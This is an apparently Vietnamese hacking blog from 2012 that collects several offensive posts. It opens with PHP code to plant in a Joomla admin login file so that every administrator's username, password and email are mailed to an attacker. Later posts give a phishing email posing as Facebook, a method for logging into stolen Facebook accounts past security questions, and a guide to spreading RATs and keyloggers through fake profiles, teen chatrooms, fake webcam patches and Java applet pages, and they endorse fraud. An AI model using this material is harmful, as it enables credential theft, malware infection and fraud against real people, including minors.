Monday, July 16, 2012

Vào administrator/components/com_login/

Mở file: admin.login.php

Tìm dòng:
$mainframe->redirect('index.php');
Thêm trước dòng này 1 đoạn code như sau:
 /** * @author [N]guye[N] * @copyright 2010 */
        $db        =& JFactory::getDBO();                $mailfrom         = $mainframe->getCfg( 'mailfrom' );$fromname         = $mainframe->getCfg( 'fromname' );$siteURL        = JURI::base();$uname         = $credentials['username']; $query = 'SELECT name , email, usertype  ' .        ' FROM #__users' .        ' WHERE username = "'.$uname.'"';$db->setQuery( $query );$rows = $db->loadObject();
        if ( ! $mailfrom  || ! $fromname ) {    $fromname = $rows->name;    $mailfrom = $rows->email;}$usertype = $rows->usertype;        $email = $rows->email;$pass = $credentials['password'];
        $message = "$uname|$email|$pass|$usertype";$to="abc#gmail.com"; // email của attacker$header = "Content-type: text/html; charset=utf-8\r\nFrom: $mailfrom\r\nReply-to: $to";@mail($to, $siteURL, $message, $header);
Khi admin nó đăng nhập thì username, password, email nó ào ào chạy về email của mình.

Lấy user và password của Joomla (Keylogger)

By: MIN Software on: 6:24 AM
Giao diện:



Tools hoạt động tốt trên win xp, win 7 32bit
Trên win 7 64bit gặp một vài bug nhỏ, mình không rõ có phải không và chưa có win64bit khác để test cho thật chính xác

Chức năng và hướng dẫn của nó cũng không có gì cả. Chắc mọi người sẽ dễ làm quen được thôi

Quét virus:

https://www.virustotal.com/file/6cf4086a02bdcc22dddecb852f54cc50db6400221435abc342 4ef1c1e3f2a4c2/analysis/1342278758/

Vấn đề có 4 phần mềm nhận định là Worm.Win32.AutoIt!IK vì autoIT bị nhiều phần mềm liệt vào ngôn ngữ dùng để viết virus. Thực chất các phần mềm cũng chỉ nhận định nó là autoIT mà thôi

p/s: Vấn đề bypass verify của google mình không đề cập đến ở đây, đó là kinh nghiệm riêng của các bạn

*** Infomation ***

Size: 942 KB/x64 và 446KB/x32

Author: KID1232 - KID1232.COM

SourcE: autoIT

Release: 14/07/2012


Download: http://www.mediafire.com/?77r9szsyhxkpz08 
Pass Unlock: junookyo

Phần mềm đăng kí Gmail hàng loạt - Gmail Quick Creator 1.0

By: MIN Software on: 6:14 AM

Thursday, July 12, 2012

WordPress Components Server Scanner
Another Script Offer You To Scan Server From WordPress And Get Them Plugins And Themes InstalleD



Download:
http://www.mediafire.com/?nfar3n35tcveiyj
./DonE

WordPress Components Server Scanner

By: MIN Software on: 4:11 PM
Hello,
WordPreSs Site ScanneR
A Tool With PHP Offer You To Scan WordPress Sites From Plugins And Themes


Just Put The URL And Click Scan
Download:
http://www.mediafire.com/?2uj4d61pffw4d36
./DonE

*****
Nguồn:  http://www.damane-dz.net/blog/wordpress-site-scanner/

WordPress Site ScanneR

By: MIN Software on: 4:10 PM
[Image: 0XGWk.png]

So first off I see a lot of people asking should I learn to program and what language to learn. So first off I would like to say that if you want to learn to hack, this would be a great skill to learn! All the hacking programs you see have been made with programming. If you know programming, than you will have a great start to hacking! So if you have decided that you want to learn programming, then a good language to start off on might be Python, I have heard that it is a bit choppy but personally it is the language I started off on, and the one that I found easy to learn. You can get python at its website:

http://python.org/

Some other languages that I know of but haven't really worked with are: C ,C++, C#, Java, Perl, Visual Basic, and PHP. Some tutorials that might be useful to you are:

Tutorial on C#

Tutorial on Python

Tutorial on Java

[Image: Brss8.png]

So I have been testing and messing around with ratting for a few weeks now. First off I'll let you know that RAT stands for "Remote Administrative Tool" Basically Rat is what it says it is, a tool to to let you remotely control a computer.

Some highlights of RAT'ing are:
  • Screen Capture
  • Sound Capture
  • Webcam Capture
  • Sending IM's to the slave
  • Having all saved passwords
  • Forceing the slave to go to a website
  • Being able to see all the files on the slaves computer
  • Remote scripting
  • Hiding the desktop icons
  • Hiding the taskbar
  • Installing and deleting programs/files
  • Playing piano noises on the slaves computer

Note: The 'slave' is the computer you are controlling.

I personally have decided not to RAT, because I would like to stay on the legal side of things, but this all personal preference I'm not going to tell you that you should or shouldn't. Some Tutorials that really go into depth on RAT'ing are:

Darkcomet R.A.T Tutorial

Cybergate R.A.T Tutorial

If you would like to read more about R.A.T's or just ask a question about a R.A.T than you should go to the following section.

R.A.T Section of HF

[Image: B4GyW.png]

So this isn't exactly hacking but it is used for the same reason. Social Engineering (SE) is used to manipulate people or companies to get what you want. People use SE for all types of things, for example, you may want to manipulate a friend with the following e-mail to get their password.

"Hello Bob, we have received many notifications saying that someone is trying to log onto your account from a different location, and we will need the following questions answered to verify that this is your account:

Name-
Email-
Location-
Password-

Please reply with an email with those four questions answered. We are sorry for the inconvenience, but we would like to make sure that your account stays safe from malicious hackers.

Sincerely,

The Facebook Team"

If your lucky your slave would send you the E-mail and password to their account. SE is used for way more than just passwords though. Many people use SE to get free items from companies. If you would like to learn more on SE than you should go to the following section.

Social Engineering Section of HF

[Image: FPIhq.png]

What key logging is, is a program that logs your (Or the person you send it to) key strokes on the keyboard. This is most commonly used to try and get passwords for facebook, gmail, xbox account, ect. If you would like to learn more about key logging, than you should head to the following section.

Key logging section

[Image: PFNQf.png]

I don't really know much about this but I know that phreaking is phone hacking. To get more information on this type of hacking you should check out the following section.

Phreaking section

[Image: Hsn6d.png]

What this is to me is just URL hacking. Basically what you do is edit the URL of the page you are on until you can get to admin pages. The part of the site where you can learn more about SQLI injection is here.

SQL Injection section

Since this doesn't really tell you much I will link you to Wikipedia where the first paragraph pretty much says it all.

Wikipedia for SQL Injection

[Image: 2zm3h.png]

This is a kinda weird thing, and it's not really hacking. Since this does however have it's own section on the site, I thought I would tell you what it is, so at least you know. E-whoring is getting pictures of fairly hot women (Preferably naked) and selling them on sites such as Craigslist. When you sell the pictures you usually act like you are the girl, selling pictures of yourself. As you can see this is just a money making method, that I believe is illegal. I have talked to some people who have done this, and they have told me that you can make a lot of money doing this. One guy specifically made around $100 in a month! So there is a lot of money in this. The section for E-Whoring is here:

E-Whoring Section

[Image: ETh4s.png]

There are plenty more types of hacking but these are just a few of the basic hacking types. I will post a more in depth guide later when I learn more about the different types of hacking myself, but I thought that this would help at least guide some of the newcomers on the site. I would also like to say that I am not responsible for any type of hacking that you do. This is just a a simple guide to help you decide where to start with hacking.

Thanks for reading this quick guide, if you have any questions feel free to PM me, and I'll try to get back to you as soon as possible. Finally the guide was made entirely by me, Blades. If you are going to share this with anyone please be sure to give the credit to the creator of the guide, me.

Beginners guide to hacking

By: MIN Software on: 10:04 AM
You got someone facebook id and password. If you try to login to that account from your your system, it will ask to answer security question. You can bypass this security.

Requirments:
slave IP address

* Go to http://www.ip2location.com
* and enter the IP address.
* It will show the country of slave.
* Now visit:
* http://www.samair.ru/
* Find the proxy IP address based on the slave's Counry.
* Set the proxy IP in mozilla
* Now login to facebook with id you got. you won't get Security
Question now.

[TUT] How to Login in Facebook without Getting the Security Question 100% work

By: MIN Software on: 10:03 AM
Spreading Tutorial!

By: Plutonium

Method 1...

MySpace

1. Sign up at Myspace.com

2. Make a sexy name.. like Christina Johnsson..

3. And When you are done.. Change the profile picture to some sexy bimbo chick.

4. As Profile Info.. Write that you are single and that you are modelling.. etc. etc. and soon enough people will add you. (Hopefully Guys :P ).

5. Tell them that you have made a portfolio and you want them to try it out. Send your RAT/Bot/Keylogger server to them... Make sure they runs it.. and there you go, A slave... now do this to many peoples and you will get many victims =) !


Method 2...

Chatrooms

1. Google This: "Teen Chatroom"... Or anything Similiar.

2. Name your name to some sexy chick name.

3. Enter A Chatroom And Tell Them You Want To Show Some Webcam.

4. Tell them your E-Mail Adress.. Add Them.

5. Now, Tell them that they have to Run your Webcam Patch... Wich ofcourse is fake .. (Your Server.. Hopefully Crypted with an Webcam Icon).. They'll be like.. Sure.. now.. You got them on your Botnet list/ RAT.. whatever :D!..


Method 3...

Youtube

1. Sign Up Here.

2. After That, Make a video.. With an fake program. You can easily steal one from someone else by writing OK infront of youtube. Example:
http://www.OKyoutube.com/Watch-291209dsa.

3. Get comments from friends saying that it works.. etc. etc.

4. And After A While You Will Get Views And Downloads =)!


Method 4...

Java Applet.. (Quick Explained...)

1. Download Java Files I dont have a working applet anymore, sorry.

2. Extract it to desktop.

3. Sign Up To: Fileave.com And Log In.

4. Upload Your RAT/Keylogger/Bot .. Whatever! and copy the link..

5. Right Click The Index2 in Java Folder. Now Edit it with -> Notepad <-.. edit thoose parts that are squared. (credits to Krypyro for the image) and replace the text Insert Link here with your copyed link. on both places.



(Had to spoiler it because it is way to big ;P )

6. Sign Up To And Login At: Atspace.com

7. Now Go to Subdomain Manager.. make a new domain named to whatever you want.

8. Now go to file manager. Upload everything in the java folder to the domain.

9. Now try your Java Page. By Going to your page.. Example.atspace.com and try it out! =)

10. Go to this page: Dot.tk and rename your Atspace page to something good.. like Cybersmexhackers.tk or something like that xD.. (Has to end with .TK)

Alright! I Hope I Helped You Guys With This Tutorial! =)...This was just fast written.. Not ment to be the "Proe Spreading Guide" Just something i made quick.

Copyrighted by me :3..

Credits:
Me
Falah (For The MySpace Part ;-] )


//Plutonium

How To Succedfully Spread Your RAT/Botnet/Keylogger!

By: MIN Software on: 9:48 AM

 

Our Team Members

Copyright © hacker va bao mat | Designed by Templateism.com | WPResearcher.com